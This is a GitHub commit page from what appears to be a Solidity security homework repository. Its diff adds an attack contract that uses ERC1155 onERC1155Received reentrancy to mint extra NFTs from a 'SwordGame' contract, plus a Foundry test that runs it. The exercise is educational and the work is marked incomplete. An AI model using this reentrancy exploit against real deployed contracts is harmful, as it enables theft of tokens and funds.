Skip to content

Commit

Permalink
feat: hw1 not complete
Browse files Browse the repository at this point in the history
  • Loading branch information
0xRory committed Apr 17, 2024
1 parent b803537 commit 4bd9b22
Show file tree
Hide file tree
Showing 3 changed files with 57 additions and 6 deletions.
6 changes: 6 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
Expand Up @@ -28,3 +28,9 @@
[submodule "w6/lib/openzeppelin-contracts"]
path = w6/lib/openzeppelin-contracts
url = https://github.com/OpenZeppelin/openzeppelin-contracts
[submodule "w7/lib/forge-std"]
path = w7/lib/forge-std
url = https://github.com/foundry-rs/forge-std
[submodule "w7/lib/openzeppelin-contracts"]
path = w7/lib/openzeppelin-contracts
url = https://github.com/OpenZeppelin/openzeppelin-contracts
43 changes: 43 additions & 0 deletions w6/src/example/attackHw1.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {SwordGame} from "src/hw/hw1.sol";
import {Test, console} from "forge-std/Test.sol";

contract AttackHW1 {
SwordGame public swordGame;
uint256 public tokenId = 1;
uint256 public nftCount;

constructor(SwordGame _swordGame) {
swordGame = _swordGame;
}

receive() external payable {}

function attack() public payable {
swordGame.mint{value: 1 ether}(tokenId);
}

function onERC1155Received(
address, // operator
address, // from
uint256, // id
uint256 amount, // amount
bytes calldata // data
) external returns (bytes4) {
nftCount += amount;
console.log("nftCount", nftCount);
// 循环调用 mint 函数
while (nftCount < 10) {
try swordGame.mint{value: 1 ether}(tokenId) {
nftCount++;
} catch {
console.log("error", nftCount);
break;
}
}

return this.onERC1155Received.selector;
}
}
14 changes: 8 additions & 6 deletions w6/test/hw1.t.sol
Original file line number Diff line number Diff line change
@@ -1,27 +1,29 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {Test, console} from "forge-std/Test.sol";
import {SwordGame} from "src/hw/hw1.sol";
import {AttackHW1} from "src/example/attackHw1.sol";

contract exploitNFTTest is Test {
SwordGame swordGame;
address public owner = address(0);
AttackHW1 attackHW1;
address public owner1 = address(1);
address public hacker = address(1337);

function setUp() public {
vm.startPrank(owner);
vm.startPrank(owner1);
swordGame = new SwordGame();
attackHW1 = new AttackHW1(swordGame);
vm.stopPrank();

vm.deal(hacker, 1 ether);
}

function testExploit() public {
vm.startPrank(hacker);
// add your solution here
attackHW1.attack{value: 1 ether}();
vm.stopPrank();

assertEq(swordGame.balanceOf(hacker, 1), 10);
}
}

0 comments on commit 4bd9b22

Please sign in to comment.